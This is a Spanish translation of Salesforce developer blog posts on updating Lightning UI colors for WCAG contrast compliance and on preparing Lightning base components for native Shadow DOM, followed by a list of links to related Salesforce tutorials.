En 2023, Salesforce planea actualizar los colores en nuestra interfaz de usuario de iluminación para que sean más accesibles para las personas con baja visión y para cumplir con las Pautas de accesibilidad de contenido web (WCAG) para el contraste de color que no es de texto y el contraste de color de texto. WCAG es un estándar de accesibilidad moderno requerido por numerosos órganos de gobierno de todo el mundo.
Para hacer esto, actualizaremos las plataformas en las que se crea nuestra interfaz de usuario Lightning: Salesforce Lightning Design System (SLDS) y Base Lightning Components (ambas versiones, Aura y Lightning Web Component). En estas plataformas, actualizaremos componentes, tokens de diseño, ganchos de estilo e íconos. Estos cambios no solo aparecerán en los productos de Salesforce, como Sales Cloud y Service Cloud, sino que también aparecerán en cualquier interfaz de usuario personalizada que haya creado con SLDS o Base Lightning Components.
Para obtener más detalles y ejemplos visuales de las actualizaciones, eche un vistazo a las publicaciones del blog de administración y noticias de Salesforce.
Con los colores actuales en Salesforce, los usuarios con problemas de visión tienen dificultades para reconocer los elementos clave de la interfaz de usuario, lo que no solo los frustra, sino que también les impide adoptar Salesforce. Además, Salesforce y sus clientes enfrentan problemas de cumplimiento clave debido a que un número cada vez mayor de gobiernos en todo el mundo, incluida la Unión Europea (UE) , requieren contraste de color de acuerdo con WCAG 2.1 . WCAG 2.1 ha requerido que los sitios web de las empresas usen texto que cumpla con un contraste de color de 4.5: 1 de su fondo y elementos funcionales que no sean texto que cumplan con un contraste de color de 3: 1 . Aumentar nuestro contraste de color para cumplir con estos estándares nos permitirá brindar una mejor experiencia a los usuarios con baja visión y permitirá a las empresas que usan nuestros productos evitar fuertes multas por accesibilidad.
Todos los íconos se actualizarán como parte del lanzamiento de Summer '23. Las páginas de inicio de registros seleccionados, incluidos los LWC incrustados en las páginas, se actualizarán como parte del lanzamiento de Summer '23. Todas las demás páginas, SLDS y los componentes básicos de Lightning se actualizarán como parte de la versión Winter '24.
Si descargó íconos de Salesforce y seleccionó íconos específicos para usarlos como recursos estáticos, asegúrese de actualizarlos con los nuevos íconos . Si está utilizando nuestro paquete SLDS NPM , actualice ese paquete a la última versión para ver los cambios. Si tiene páginas personalizadas desarrolladas con SLDS, vea cuáles de los siguientes escenarios se aplican a su base de código y realice los cambios correspondientes.
Utiliza un componente Lightning sin anulaciones adicionales. Su código podría verse como el Ejemplo 1 a continuación.
<dx-code-block title language="html" code-block="
Save
«>
Utiliza un componente personalizado que implementa un modelo SLDS y solo usa clases SLDS para diseñar. Su código podría verse como el Ejemplo 2 a continuación.
<dx-code-block title language="html" code-block="
«>
Similar a 2. Componente personalizado con modelo SLDS , pero en este caso, usa un componente personalizado que implementa parcialmente un modelo SLDS o usa más clases de SLDS para diseñar. Su código podría verse como el Ejemplo 3 a continuación.
--slds para cualquier valor de color codificado. Si el valor de color codificado no tiene una coincidencia exacta en términos de ganchos de estilo, querrá considerar usar el gancho de estilo más parecido.<dx-code-block title language="html" code-block="
«><dx-code-block title language="css" code-block="/* CSS */
.my-class { color: #ccc;
En este caso, la clase de CSS personalizada .my-class anula un valor de .slds-button_neutral . Este valor no solo debe actualizarse para tener un mejor contraste, sino que toda la implementación también sería más fácil de mantener si se reemplazara con un componente base Lightning y luego se usara el enlace de estilo --slds-c-button-text-color para hacer una anulación accesible.
Nota: Si no existe un gancho de estilo para el valor codificado, recomendamos usar el gancho de estilo más cercano disponible.
<dx-code-block title language="html" code-block="
Save
«>
Está usando un componente personalizado que usa directamente tokens SLDS dentro de CSS personalizado o usa clases SLDS en el marcado. Su código podría verse como el Ejemplo 4 a continuación.
<dx-code-block title language="html" code-block="
«>
En este ejemplo, el token t(colorBorder) está diseñado para bordes decorativos como tarjetas y divisores. Debe reemplazarse con un gancho de estilo que esté alineado con el plano del botón SLDS.
Está usando un componente personalizado que usa tokens personalizados. Su código podría verse como el Ejemplo 5 a continuación.
Recomendamos reemplazar tokens personalizados con ganchos de estilo SLDS cuando sea posible. Cuando use ganchos de estilo, asegúrese de usar ganchos que tengan el contexto semántico correcto. Por ejemplo, un gancho como --slds-g-color-border-base-1 solo debe usarse para bordes. Esto ayudará a garantizar que su producto siga siendo coherente con el estilo de Salesforce a medida que se produzcan futuras actualizaciones de color.
Si debe mantener su token personalizado por cualquier motivo, vuelva a verificar que su token personalizado no haya experimentado ninguna regresión visual.
<dx-code-block title language="html" code-block="
«><dx-code-block title language="html" code-block="
«>
En este ejemplo, el token t(myBackgroundColor) usa un valor de color desactualizado de SLDS. El lenguaje visual Lightning actual ya no usa este color. El token personalizado debe reemplazarse con el color más parecido de la lista de ganchos de estilo. En este ejemplo, —slds-g-color-neutral-base-95: #f3f3f3 es el gancho de estilo SLDS más parecido.
Está usando un componente personalizado que usa un valor de color codificado como #444 o rgb(68,68,68) . Su código podría parecerse al Ejemplo 3 anterior.
--slds-g-color-border-base-1 solo debe usarse como el color del borde de los elementos del formulario. Si desea mantener su valor de color codificado, verifique que estos colores no hayan experimentado ninguna regresión visual.--lwc Está utilizando un componente Lightning o Aura base y está anulando un token --lwc para personalizar el estilo de uno o más componentes. Su código podría verse como el Ejemplo 7.
NOTA: Esta no es una forma recomendada de personalizar componentes y no hay garantía de que las personalizaciones realizadas de esta manera continúen funcionando.
--lwc tokens para cualquiera de estos componentes .
--lwc que se anula con el enlace de estilo actualizado --slds introducido.<dx-code-block title language="html" code-block="
«>
En este ejemplo, al anular —lwc-colorBorder a rojo, todos los bordes de los botones se vuelven rojos. El equipo de SLDS actualizó esta variante de componente para usar un enlace de estilo global, por lo que esta anulación dejará de funcionar. En este caso, simplemente use --slds-g-color-border-base-4 en el ámbito del selector para anular el color del borde.
--lwc con ganchos de estilo globales.--slds-g-color-border-base-4 o --slds-g-color-neutral-base-50 . Se recomienda usar --slds-g-color-border-base-4 para el contexto de estilo CSS de "border" en lugar de --slds-g-color-neutral-base-50 .var(..) y coloque valores de color codificados como respaldo en caso de que un navegador heredado no pueda leer el enlace de estilo o el token de diseño. Esto es opcional.
background: var(—slds-g-color-neutral-base-50, #747474);Timothy Yeh es Gerente de Producto para Sistemas de Diseño en Salesforce, enfocado en ayudar a los clientes a construir una interfaz de usuario de mayor calidad más rápido al proporcionar sistemas sólidos de patrones.
Agregar a Slack Suscríbete a RSS
Esta es una traducción que desde EGA Futura ofrecemos como cortesía a toda la Ohana y comunidad de programadores , consultores , administradores y arquitectos de Salesforce para toda Iberoamérica .
El enlace a la publicación original, lo encontrarás al final de este artículo.
…
Salesforce está preparando los componentes base de Lightning para adoptar Shadow DOM nativo , lo que mejorará el rendimiento de los componentes y los alineará mejor con los estándares de los componentes web. Como parte de esta fase de preparación, hemos cambiado la estructura DOM interna de algunos de nuestros componentes. Recién comenzamos y continuaremos modificando las partes internas de los componentes en versiones posteriores. En esta publicación, discutiremos qué cambiará y cómo puede prepararse para ello.
Shadow DOM es un estándar web que encapsula la estructura del modelo de objeto de documento (DOM) interno de un componente web. Esto nos da la capacidad de proporcionarle componentes robustos y seguros protegiéndolos de ser manipulados por HTML, CSS y JavaScript arbitrarios.
Actualmente, Salesforce mantiene un polyfill de sombra sintético para navegadores heredados, como versiones anteriores de Microsoft Edge, pero ahora que todos los principales navegadores admiten DOM de sombra nativo, estamos preparando nuestros componentes para hacer lo mismo.
Con la introducción del shadow DOM nativo, mejoraremos la encapsulación de los componentes, haciéndolos más consistentes y seguros, y brindaremos una forma más predecible de diseñarlos. Esto resolverá una gran cantidad de problemas de compatibilidad con versiones anteriores y alineará los componentes web Lightning con los estándares web.
Sin embargo, puede provocar una fase de adaptación a medida que hacemos el cambio.
Hemos estado trabajando en la preparación de nuestros componentes base para adoptar el shadow DOM nativo. Los escenarios específicos en los que se rompía la encapsulación de los componentes base requerían que creáramos un nuevo elemento contenedor dentro del límite de la sombra. Para ayudar a ilustrar esto, veamos un componente base de ejemplo llamado lightning-foo . Antes, el componente se veía así:
<dx-code-block title language code-block="
Example base component
«>
A partir de Summer '23, se verá así:
<dx-code-block title language code-block="
Example base component
«>
La mecánica interna de los componentes básicos no se diseñó para acceder directamente y tratarse como una API confiable para su uso. En cambio, nuestros componentes preempaquetados estaban destinados a usarse tal como son, utilizando las API públicas oficiales que hemos compartido abiertamente. Sin embargo, sabemos que algunos clientes están utilizando componentes internos de manera no documentada. Si está accediendo a los elementos internos de un componente base con fines de personalización y prueba, tenga en cuenta estos cambios.
Al probar manualmente sus aplicaciones, es posible que detecte un componente personalizado que funcionaba anteriormente y que no tiene el aspecto esperado. Debido a estos cambios, sus pruebas automatizadas de un extremo a otro también pueden fallar. En ambos casos, puede significar que su código personalizado o código de prueba depende de las partes internas de un componente base que ha cambiado . Exploremos estos dos problemas con más profundidad:
Un componente no se ve como se esperaba:
Una prueba de extremo a extremo falla:
lightning-foo > p no coincidirá con nuestro marcado actualizado.En resumen, estamos logrando avances significativos al preparar los componentes base de Lightning para adoptar Shadow DOM nativo, lo que garantizará un mejor rendimiento y la alineación con los estándares de los componentes web, además de mejorar la seguridad y la confiabilidad de los componentes. Al encapsular la estructura DOM interna, nos esforzamos por brindar una experiencia más sólida y predecible tanto para los desarrolladores como para los usuarios.
Si bien estos cambios pueden presentar algunos desafíos iniciales, son pasos necesarios hacia un sistema más estandarizado y preparado para el futuro. Seguimos comprometidos a informar y apoyar a los desarrolladores durante esta transición.
En preparación para estos cambios, recomendamos adoptar ganchos de estilo y métodos de orientación como clases para garantizar que el uso de CSS siga siendo modular y adaptable. Además, recomendamos enfáticamente adoptar UTAM como su solución de prueba de extremo a extremo.
Estén atentos a más actualizaciones y cambios a medida que Salesforce continúa optimizando y mejorando el marco de componentes Lightning. Al adoptar estas próximas mejoras, los desarrolladores pueden esperar una experiencia de desarrollo más fluida y eficiente mientras crean aplicaciones poderosas en la Plataforma Salesforce.
Maeve Tuntivate es Gerente sénior en el equipo de Gestión de productos en Salesforce.
Jesse Brack es ingeniero principal de UX en el equipo de ingeniería de sistemas de diseño de Salesforce.
Agregar a Slack Suscríbete a RSS
Última actualización el 9 de abril de 2023 por Rakesh Gupta Gran idea o pregunta duradera: ¿Cómo hacer que el componente de pantalla sea de solo lectura? Objetivos: después de leer este blog, podrá: Agregar texto de solo lectura al componente de pantalla usando Display Text Agregar texto de solo lectura al componente de pantalla usando un Lightning Web personalizado
La publicación Diferentes formas de hacer que el componente de pantalla sea de solo lectura apareció primero en Automation Champion .
Seguir leyendo
Esté atento a estos antipatrones comunes y utilice estas estrategias para evitarlos y mejorar la disponibilidad en su organización.
La publicación Mejore la disponibilidad en su organización apareció por primera vez en el blog de desarrolladores de Salesforce .
Descubra cómo una red de entrega de contenido (CDN) puede aumentar su rendimiento y cómo puede habilitarla para su organización hoy.
La publicación Activar CDN para cargar Lightning Experience más rápido apareció primero en el blog de desarrolladores de Salesforce .
Con el lanzamiento de Winter '23, ahora enviamos LightningModal, un componente Lightning base que simplifica la incorporación de modales en sus componentes.
La publicación Una inmersión profunda en el componente base LightningModal apareció primero en el blog de desarrolladores de Salesforce .
Screen Flow permite a los desarrolladores y administradores crear interfaces de usuario y vincularlas a los datos de Salesforce, y utilizar componentes web Lightning como elementos de flujo.
La publicación Integrar flujos de pantalla en sus componentes web Lightning apareció por primera vez en el blog de desarrolladores de Salesforce .
Gran idea o pregunta duradera: ¿Cómo se utiliza el componente web lightning para mostrar la ventana modal? Objetivos: después de leer este blog, podrá: Comprender la diferencia entre alerta y modelo. Mostrar un modal con una superposición en el clic del botón. Mostrar otro componente web Lightning dentro.
La publicación Add Popup Overlay Modal in Lightning Web Component apareció primero en Automation Champion .
Seguir leyendo
¿Escuchaste? ¡Es la semana de Dreamforce! Sí, nuestra reunión familiar de Trailblazer finalmente está aquí, los días son un poco más cortos y los PSL han comenzado a resurgir en los menús de cerca y de lejos (eso es "Pumpkin Spice Lattes", pero si leyó eso y pensó en "Licencias de conjunto de permisos", entonces definitivamente eres uno de nuestra gente!). Todo esto […]
La publicación Learn MOAR in Winter '23 with Release Highlights for Developers apareció primero en el blog de desarrolladores de Salesforce .
Última actualización el 16 de septiembre de 2022 por Rakesh Gupta Con un inmenso placer, me gustaría compartir que aprobé el examen de certificación Platform App Builder hace un mes. Me tomó 50 minutos revisar todas las preguntas antes de presionar el botón de enviar. Después de un clic más del
La publicación Cómo aprobar el examen de certificación de Salesforce Platform App Builder apareció primero en Automation Champion .
Seguir leyendo
Última actualización el 10 de septiembre de 2022 por Rakesh Gupta El marco moderno del componente Lightning es un marco de interfaz de usuario para desarrollar aplicaciones web dinámicas para dispositivos móviles y de escritorio. Como es el caso con cada lanzamiento, el último lanzamiento de Winter'23 está repleto de características ricas, ¡incluidas las características del componente Lightning recientemente agregado! Corrientemente,
La publicación ¡Lanzamiento Winter'23 de las 5 mejores gemas del componente web Lightning de Salesforce! apareció por primera vez en Automation Champion .
Seguir leyendo
Después de temer y demorar un par de veces, finalmente reuní el coraje para presentarme hoy al examen de certificación de consultor de servicio de campo. Y logré pasarlo en mi segundo intento. Entonces, ¡sigue adelante en el 'Camino de ladrillos amarillos'! La primera vez que me presenté a este examen fue
La publicación Cómo aprobar el examen de certificación de consultor de servicio de campo de Salesforce apareció primero en Automation Champion .
Seguir leyendo
Los ganchos de estilo pasaron a GA con el lanzamiento de Spring '22. Esta función abre la puerta a la personalización de los componentes básicos de Lightning y mucho más. Con los ganchos de estilo, puede cambiar fácilmente la apariencia de una interfaz de usuario estándar modificando algunas líneas de CSS: no debatiremos gustos y colores en esta publicación, pero […]
La publicación Personalice sus aplicaciones con ganchos de estilo apareció por primera vez en el blog de desarrolladores de Salesforce .
Última actualización el 24 de junio de 2022 por Rakesh Gupta Gran idea o pregunta persistente: ¿Cómo mostrar los componentes web Lightning en Salesforce mobile y Lightning Experience como fichas personalizadas? Objetivos: después de leer este blog, podrá: Comprender la diferencia entre los componentes de superficie en las páginas de App Builder y
La publicación Agregar componentes web Lightning en dispositivos móviles y Lightning Experience como pestañas apareció primero en Automation Champion .
Seguir leyendo
Última actualización el 23 de junio de 2022 por Rakesh Gupta Gran idea o pregunta duradera: ¿Cómo crear un formulario con una barra de progreso en el componente web Lightning? Objetivos: después de leer este blog, podrá: Comprender qué es el campo de barra de progreso relámpago y cómo usarlo Crear un formulario
La publicación Crear un formulario con una barra de progreso en el componente web Lightning apareció primero en Automation Champion .
Seguir leyendo
Última actualización el 20 de junio de 2022 por Rakesh Gupta Gran idea o pregunta duradera: ¿Cómo importar y usar recursos estáticos en el componente web Lightning? Objetivos: después de leer este blog, podrá: Comprender el propósito del recurso estático Usar el recurso estático en el componente web lightning Acceder
La publicación Acceso a recursos estáticos, archivos de activos de contenido en Lightning Web Component apareció primero en Automation Champion .
Seguir leyendo
Última actualización el 19 de junio de 2022 por Rakesh Gupta Gran idea o pregunta duradera: ¿Cómo pasar el valor del campo de entrada de rayos como parámetro al método de clase del controlador en el componente web Lightning? Objetivos: después de leer este blog, podrá: Comprender qué es un campo de entrada de rayos y cómo trabajar con
La publicación Pasar el valor del campo de entrada Lightning de un clic de botón al controlador de componentes web Lightning apareció primero en Automation Champion .
Seguir leyendo
Gran idea o pregunta duradera: ¿Cómo mostrar una alerta, una confirmación o un aviso con el componente web lightning al realizar acciones específicas? Objetivos: después de leer este blog, podrá: Comprender la diferencia entre el cuadro de diálogo de alerta, confirmación o modelo de solicitud Agregar un modal de alerta dentro de su componente Lightning Web Agregar
La publicación Add Confirmation, Alert and Prompt Dialog Box to Lightning Web Component apareció primero en Automation Champion .
Seguir leyendo
Última actualización el 17 de junio de 2022 por Rakesh Gupta Gran idea o pregunta duradera: ¿Cómo restablecer el campo de entrada de rayos a su valor predeterminado o nulo? Objetivos: después de leer este blog, podrá: Restablecer el valor del campo de entrada a su valor predeterminado Restablecer el valor del campo de entrada a Nulo y mucho más
La publicación Restablecer el campo de entrada Lightning al hacer clic en un botón en el componente web Lightning apareció primero en Automation Champion .
Seguir leyendo
Última actualización el 10 de junio de 2022 por Rakesh Gupta Gran idea o pregunta duradera: ¿Cómo agregar un campo de área de texto enriquecido a una pantalla de flujo? Objetivos: después de leer este blog, podrá: Crear un componente web Lightning para el flujo de pantalla Agregar un editor de propiedades personalizado para un
El componente de área de texto enriquecido posterior para el flujo de pantalla apareció por primera vez en Automation Champion .
Seguir leyendo